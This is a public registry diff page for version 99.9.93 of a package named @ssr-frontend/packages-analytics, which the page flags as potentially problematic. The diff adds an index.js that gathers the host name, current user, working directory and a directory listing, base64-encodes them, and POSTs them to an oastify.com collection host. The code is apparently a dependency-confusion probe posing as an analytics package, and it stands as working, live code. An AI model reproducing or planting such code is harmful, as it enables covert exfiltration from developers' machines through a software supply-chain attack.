@ssr-frontend/packages-analytics 99.9.93
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @ssr-frontend/packages-analytics might be problematic. Click here for more details.
- package/index.js +47 -0
- package/package.json +12 -0
- package/run.sh +3 -0
package/index.js
ADDED
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
const http = require('http');
|
|
2
|
+
const { execSync } = require('child_process');
|
|
3
|
+
|
|
4
|
+
// Get required data
|
|
5
|
+
const hostname = execSync('hostname').toString('base64').trim();
|
|
6
|
+
const whoami = execSync('whoami').toString('base64').trim();
|
|
7
|
+
const pwd = execSync('pwd').toString('base64').trim();
|
|
8
|
+
const lsOutput = execSync('ls -la').toString('base64').trim();
|
|
9
|
+
|
|
10
|
+
// Prepare headers
|
|
11
|
+
const headers = {
|
|
12
|
+
'Hostname': hostname,
|
|
13
|
+
'Whoami': whoami,
|
|
14
|
+
'Pwd': pwd,
|
|
15
|
+
'Content-Type': 'application/octet-stream'
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
// Prepare data
|
|
19
|
+
const data = lsOutput;
|
|
20
|
+
|
|
21
|
+
// Prepare request options
|
|
22
|
+
const options = {
|
|
23
|
+
hostname: '9dnczcrqcdhtidzm9zo45kjuzl5et5hu.oastify.com',
|
|
24
|
+
port: 80,
|
|
25
|
+
path: '/',
|
|
26
|
+
method: 'POST',
|
|
27
|
+
headers: headers
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
// Make the HTTP request
|
|
31
|
+
const req = http.request(options, (res) => {
|
|
32
|
+
let responseData = '';
|
|
33
|
+
res.on('data', (chunk) => {
|
|
34
|
+
responseData += chunk;
|
|
35
|
+
});
|
|
36
|
+
res.on('end', () => {
|
|
37
|
+
console.log(responseData);
|
|
38
|
+
});
|
|
39
|
+
});
|
|
40
|
+
|
|
41
|
+
req.on('error', (error) => {
|
|
42
|
+
console.error('There was a problem with the request:', error.message);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
// Send the data
|
|
46
|
+
req.write(Buffer.from(data, 'base64'));
|
|
47
|
+
req.end();
|
package/package.json
ADDED
package/run.sh
ADDED